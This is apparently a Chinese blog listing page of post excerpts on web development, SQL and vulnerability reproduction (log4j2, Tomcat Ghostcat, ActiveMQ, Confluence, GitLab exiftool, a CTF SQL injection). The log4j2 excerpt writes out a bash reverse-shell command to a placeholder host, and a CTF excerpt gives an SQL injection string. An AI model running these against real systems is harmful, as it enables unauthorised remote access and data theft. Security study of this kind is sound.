漏洞web sql
CVE-2021-22204 GitLab RCE之exiftool代码执行漏洞深入分析（二）
上一篇CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)复现分析了第一部分也就是携带恶意文件的请求是如何通过gitlab传递到exiftool进行解析的，接下来我将分析exiftool漏洞的原理和最后的触发利用。 希望读者能读有所得，从中收获到自己独特的见解。 ......
PLSQL: 执行动态SQL
使用动态SQL获取 订单编号 DECLARE c integer; row_processed integer; temp integer; val integer; next_val integer; proc_stmt varchar2(200); dbseqnm varchar2(50); B ......
web日刷
一道题学习php原生类 反方向的钟 <?php error_reporting(0); highlight_file(__FILE__); // flag.php class teacher{ public $name; public $rank; private $salary; public f ......
web实现文件夹的上传和下载
上周遇到这样一个问题，客户上传高清视频（1G以上）的时候上传失败。 一开始以为是session过期或者文件大小受系统限制，导致的错误。 查看了系统的配置文件没有看到文件大小限制， web.xml中seesiontimeout是30，我把它改成了120。 但还是不行，有时候10分钟就崩了。 同事说 ......
java.sql.SQLFeatureNotSupportedException: 这个 org.postgresql.jdbc4.Jdbc4Statement.setQueryTimeout(int) 方法尚未被实作。
java jdbc连接pg库报错： 八月 04, 2023 4:32:08 下午 com.alibaba.druid.pool.DruidDataSource error 严重: init datasource error, url: jdbc:postgresql://xxxx/xxxxjava. ......
Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938）
### Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938）【项目中遇到过】 **1. 背景简述** java是目前WEB开发中主流的编程语言，而Tomcat是当前流行的Java中间件服务器之一。 Ghostcat（幽灵猫）是由长亭科技安全研究员发现的存在于 Tomcat ......
小狐狸GPT付费源码-WEB版前端的监控代码
今天搭建了下小狐狸的WEB版，里面有个隐藏的js代码调用外部接口 可以看到下面的代码 会把当前的域名调用外部接口传递过去 ......
ActiveMQ任意文件写入漏洞（CVE-2016-3088）
### ActiveMQ任意文件写入漏洞（CVE-2016-3088）【现实项目遇到过】 **1. 环境搭建** ```sh cd vulhub-master/activemq/CVE-2016-3088 docker-compose up -d docker-compose config #查看靶 ......
sql优化
1 应尽量避免在 where 子句中使用!=或<>操作符，否则将引擎放弃使用索引而进行全表扫描。 2、对查询进行优化，应尽量避免全表扫描，首先应考虑在 where 及 order by 涉及的列上建立索引。 3、应尽量避免在 where 子句中对字段进行 null 值判断，否则将导致引警放弃使用索引 ......
这些年写过的花式sql - 第3句 今日流失用户
#### 第3句 今日流失用户 ##### 需求： 当日流失用户的定义：昨天登录的，今天没登录的用户数 有一张用户登录日志表，有字段 date_stamp(日期时间戳)，用户id（uid）。如果用户在某天登录了，该表会有一条记录。 ``` #今天流失人数：昨天登录，今天没登录的 select a.d ......
Python Web UI自动化报错 ：ResourceWarning: Enable tracemalloc to get the object allocation traceback
ResourceWarning资源警告解决方案 原因：在执行线性脚本完毕时，没有及时释放相应资源，导致内存堆积，从而造成内存溢出（如关闭浏览器等操作），此时，Python将会做出提醒； 在百度吸取 网络老师们的经验后实践，总结如下： 1.在进行测试前准备工作时，忽略警告信息 import warni ......
Nexpose v6.6.209 for Linux & Windows - 漏洞扫描
Nexpose v6.6.209 for Linux & Windows - 漏洞扫描 Rapid7 Vulnerability Management, Release Aug 02, 2023 请访问原文链接：，查看最新版。原创作品，转载请保留出处。 作者主页：[sysin.org](https: ......
数据分析师如何用SQL解决业务问题？
> 本文来自问答。 > 提问：数据分析人员需要掌握sql到什么程度？ > 请问做一名数据分析人员，在sql方面需要掌握到什么程度呢？会增删改查就可以了吗？还是说关于开发的内容也要会？不同阶段会有不同的要求吗？ 正文： 作为专注数据分析结论/项目在业务落地以实现增长的分析师，建议在开始学习新技能前，先 ......
HTML5 VideoAPI，打造自己的Web视频播放器
本文将使用HTML5提供的VideoAPI做一个自定义的视频播放器，需要用到HTML5提供的video标签、以及HTML5提供的对JavascriptAPI的扩展。 一、基础知识 1.用法 <video src="./video/mv.mp4"></video> 注意：audio和video元素必须 ......
CVE-2021-44228 Apache log4j2远程代码执行漏洞
漏洞复现 验证是否存在apache log4j2漏洞 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 反弹shell bash -i >& /dev/tcp/ip/port 0>&1 将此命令进行javarunti ......
NET7下的WEB API示例
NET7下的WEB API示例 [Route("api/[controller]")] [ApiController] public class ShopADController : ControllerBase { private readonly IRepository<Model.ShopAD ......
web安全测试工具
web安全测试工具 1，appscan，算是用的非常多的一款工具了，扫描后能够将绝大部分的漏洞找出来。 2，Netsparker Community Edition 这个程序可以检测SQL注入和跨页脚本事件。牛逼的是还能提供解决方案 3，Websecurify 这是个简单易用的开源工具，此程序还有一 ......
sqlplus连接远程Oracle字符无法全屏、windows 主机的 instantclient_12_1 修改 SQLPlus 的 glogin.sql 配置文件
发生缘由 Windows 主机使用 SQLPlus 连接 VMware Workstation 上面 Windows Server 2003 里面装的 Oracle 10 发现无法打印全屏字符 运行环境 Windows 主机系统：win10 VMware Workstation：VMware Wor ......
选读SQL经典实例笔记17_最多和最少
 # 1. 问题4 ## 1.1. 最多选修两门课程的学生，没有选修任何课程的学生应该被排除在外 ## 1.2. ......
小狐狸GPT付费创作系统WEB版源码-登录权限验证逻辑
小狐狸GPT付费创作系统WEB版默认是需要公众号关注登录，一直想改成账号密码登录形式，继续查看接口部分 获取系统设置信息的接口 /web.php/login/system 从header里取x-site作为sitecode，如果取不到默认1 从setting表里查出设置数据，如下sql select ......
docker安装靶场环境bWAPP以及SQL注入拿到用户密码登陆系统
docker安装靶场环境bWAPP以及SQL注入拿到用户密码登陆系统 原文地址：https://firstsaofan.top/archives/docker%E5%AE%89%E8%A3%85%E9%9D%B6%E5%9C%BA%E7%8E%AF%E5%A2%83bwapp%E4%BB%A5%E5 ......
Asp.net Web Api .net6 Controller返回值总结
1、特定的类型 最基本的操作返回基元或复杂数据类型，例如， string 或自定义对象。 请参考以下操作，该操作返回自定义 Product 对象的集合： [HttpGet] public Task<List<Product>> Get() => _productContext.Products.Or ......
Confluence OGNL表达式注入命令执行漏洞（CVE-2022-26134）
# Confluence OGNL表达式注入命令执行漏洞（CVE-2022-26134） ## 简介 Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新，通告了一个严重且已在野利用的代码执行漏洞，攻击者利用这个漏洞即可无需 ......
SQL 标准历史（比如 isolation in SQL-92)
https://learnsql.com/blog/history-of-sql-standards/ Has the SQL standard changed in the 30+ years it's been around? Absolutely! Learn about the journe ......
2023.8.3 周四：SQL
1 #SQL语句可以单行或者多行书写，以分号结尾 2 #MySql数据库的SQL不区分大小写，关键字建议使用大写 3 #注释： 4 # 单行注释： -- 注释内容 或者 #注释内容（MySQL特有） 5 # 多行注释：/*注释内容*/ 6 7 /* 8 DDL:操作数据库，表等； 9 DML:对表中 ......
CTFer成长记录——CTF之Web专题·极客大挑战—BabySQL
一、题目链接 https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL 二、解法步骤 本题是SQL注入，那么先尝试万能密码：1' or 1=1# 发现or后面的东西都失效了，猜测 ......
这些年写过的花式sql 第2句 统计用户返佣金排名
#### 第2句 统计用户返佣金排名 继续欢迎批评指正建议 ^^ ##### 需求： 曾经的活动是购买订单返流量（日志在 flow_rebate_log），后来改成返佣金（日志在 money_rebate_log）。 现在需要 按照用户返佣金额排名，如果不存在金额，则按 返流量 排名。其他需要列出的 ......
Web编辑器 图片粘贴上传，实现图文粘贴，图片自动上传
图片的复制无非有两种方法，一种是图片直接上传到服务器，另外一种转换成二进制流的base64码 目前限chrome浏览器使用 首先以um-editor的二进制流保存为例： 打开umeditor.js，找到UM.plugins['autoupload']，然后找到autoUploadHandler方 ......
SQL语句中单引号和双引号问题
1、单引号、双引号都可以表示字符串 2、单引号一般在语句中表示字符串 3、反单引号用在：需要单引号，但是和表名、数据库等关键字冲突的地方，代替单引号 4、表名和列明其实加单引号，但是也可以不加https://blog.csdn.net/lhhxw/article/details/79477612 ......